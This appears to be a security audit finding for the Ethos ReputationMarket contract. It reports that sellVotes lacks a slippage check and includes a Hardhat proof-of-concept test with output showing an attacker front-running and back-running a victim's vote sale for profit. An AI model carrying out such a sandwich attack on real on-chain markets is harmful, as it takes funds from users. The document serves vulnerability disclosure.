Skip to content

Latest commit

 

History

History
179 lines (128 loc) · 7.87 KB

File metadata and controls

179 lines (128 loc) · 7.87 KB

Rough Admiral Yak

High

Sandwich Attack Vulnerability in ReputationMarket.sol::sellVotes

Summary

A vulnerability in the ReputationMarket.sol contract allows for a sandwich attack to exploit the price calculation for votes, resulting in users receiving less than expected funds when selling votes. The vulnerability occurs because the sellVotes function lacks a slippage check, enabling an attacker to manipulate the market by performing front-running (buying votes) and back-running (selling votes) operations between the victim's vote sale. This results in a negative impact for users as they receive fewer funds than anticipated, while attackers can profit from manipulating the vote price.

Root Cause

The root cause of the vulnerability lies in two main issues:

Lack of Slippage Check in sellVotes Function: In the sellVotes function, there is no mechanism to check for slippage or the potential impact of other transactions that could manipulate the price calculation. This absence of slippage control makes the system vulnerable to price manipulation by front-running and back-running attackers.

Price Calculation Based on Voting Shares: The function _calcVotePrice calculates the price of votes based on the proportion of votes (positive or negative) to total votes in the market. When attackers purchase votes to alter the market dynamics before a user sells, the price calculation can change, and the user can receive less than expected. Specifically, the totalVotes can be manipulated by attackers who add or remove votes.

https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol?plain=1#L920-L923

function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) {
    uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST];
    return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes;
}

Internal pre-conditions

The user must buy votes and sell them

External pre-conditions

No response

Attack Path

  • Victim buys positive votes: The victim (user A) buys positive votes in the market, paying a certain amount for them.
  • Victim wants to sell and simulates vote sale: User A simulates the sale of these votes to calculate the expected funds they will receive.
  • Attacker front-runs: The attacker (user B) monitors mempool and buys negative votes before the victim sells their votes, changing the market dynamics.
  • Victim sells votes: User A sells their positive votes, expecting to receive the funds calculated earlier. However, the market price has been manipulated by the attacker.
  • Attacker back-runs: After the victim’s sale, the attacker sells their negative votes, taking advantage of the manipulated price.
  • User receives less than expected: User A receives less than the expected funds due to the price manipulation caused by the attacker's actions.

This also works for opposit vote

Impact

The user suffers an approximate loss in the funds received from selling votes due to price manipulation. The attacker gains a profit by manipulating the vote price via a sandwich attack.

In this case, user A receives less than expected because the price calculation changes between their buy and sell operations, as a result of the attacker’s vote purchases.

Loss for user A: User A receives fewer funds than expected due to the manipulated vote price. Gain for attacker: The attacker profits from buying votes before and selling them after the victim's transaction, exploiting the absence of a slippage check in the contract.

PoC

create new file named test/reputationMarket/sandwich.test.ts (or add the it part to rep.market.test.ts)

// test/reputationMarket/sandwich.test.ts
import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js';
import { expect } from 'chai';
import hre from 'hardhat';
import { type ReputationMarket } from '../../typechain-types/index.js';
import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js';
import { type EthosUser } from '../utils/ethosUser.js';
import { DEFAULT, getExpectedVotePrice, MarketUser } from './utils.js';

const { ethers } = hre;

describe('Sandwich Attack', () => {
  let deployer: EthosDeployer;
  let ethosUserA: EthosUser;
  let ethosUserB: EthosUser;
  let userA: MarketUser;
  let userB: MarketUser;
  let reputationMarket: ReputationMarket;

  beforeEach(async () => {
    deployer = await loadFixture(createDeployer);

    if (!deployer.reputationMarket.contract) {
      throw new Error('ReputationMarket contract not found');
    }
    ethosUserA = await deployer.createUser();
    await ethosUserA.setBalance('2000');
    ethosUserB = await deployer.createUser();
    await ethosUserB.setBalance('2000');

    userA = new MarketUser(ethosUserA.signer);
    userB = new MarketUser(ethosUserB.signer);

    reputationMarket = deployer.reputationMarket.contract;
    DEFAULT.reputationMarket = reputationMarket;
    DEFAULT.profileId = ethosUserA.profileId;
    await reputationMarket
      .connect(deployer.ADMIN)
      .setUserAllowedToCreateMarket(DEFAULT.profileId, true);
    await reputationMarket.connect(userA.signer).createMarket({ value: DEFAULT.initialLiquidity });
  });

  it('sandwich attack scenario and user receives less than expected funds', async () => {
    // 1. User buys positive votes
    const { fundsPaid: userBuyFundsPaid } = await userA.buyVotes({ buyAmount: DEFAULT.buyAmount * 5n, isPositive: true });
    const { trustVotes: userPositiveVotes } = await userA.getVotes();
  
    // 2. User simulates selling votes to get expected funds
    const { simulatedFundsReceived: expectedFunds } = await userA.simulateSell({
      sellVotes: userPositiveVotes,
      isPositive: true,
    });
  
    // 3. Attacker buys negative votes before user sells (front-running)
    await userB.buyVotes({ buyAmount: DEFAULT.buyAmount * 3n, isPositive: false });
    const { distrustVotes: attackerNegativeVotes, fundsPaid: attackerBuyFundsPaid } = await userB.buyVotes({
      buyAmount: DEFAULT.buyAmount * 3n,
      isPositive: false,
    });
  
    // 4. User sells votes and captures actual funds received
    const { fundsReceived: actualFunds } = await userA.sellVotes({
      sellVotes: userPositiveVotes,
      isPositive: true,
    });
  
    // 5. Attacker sells votes after user sells (back-running)
    const { fundsReceived: attackerSellFundsReceived } = await userB.sellVotes({
      sellVotes: attackerNegativeVotes,
      isPositive: false,
    });
  
    // Debugging logs to observe the values during test execution.
    const attackerProfit = attackerSellFundsReceived - attackerBuyFundsPaid;
    console.log("user Paid:", userBuyFundsPaid);
    console.log("User Positive Votes:", userPositiveVotes);
    console.log("Attacker Negative Votes:", attackerNegativeVotes);
    console.log("User Expected Funds:       ", expectedFunds);
    console.log("User Actual Funds Received:", actualFunds);
    console.log("Attacker Paid:    ", attackerBuyFundsPaid);
    console.log("Attacker Received:", attackerSellFundsReceived);

    // Verify that actual funds received are less than expected funds
    expect(actualFunds).to.be.lt(expectedFunds);
      
    // Assert that attacker's profit is positive
    expect(attackerProfit).to.be.gt(0);
  });
});

the output is:

└─[0]  NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/reputationMarket/sandwich.test.ts


  Sandwich Attack
user Paid: 44071428571428570n
User Positive Votes: 6n
Attacker Negative Votes: 12n
User Expected Funds:        44071428571428570n
User Actual Funds Received: 12211232738709517n
Attacker Paid:     23934253525971791n
Attacker Received: 98198662448662444n
    ✔ sandwich attack scenario and user receives less than expected funds


  1 passing (944ms)

Mitigation

Implement a Slippage Tolerance Check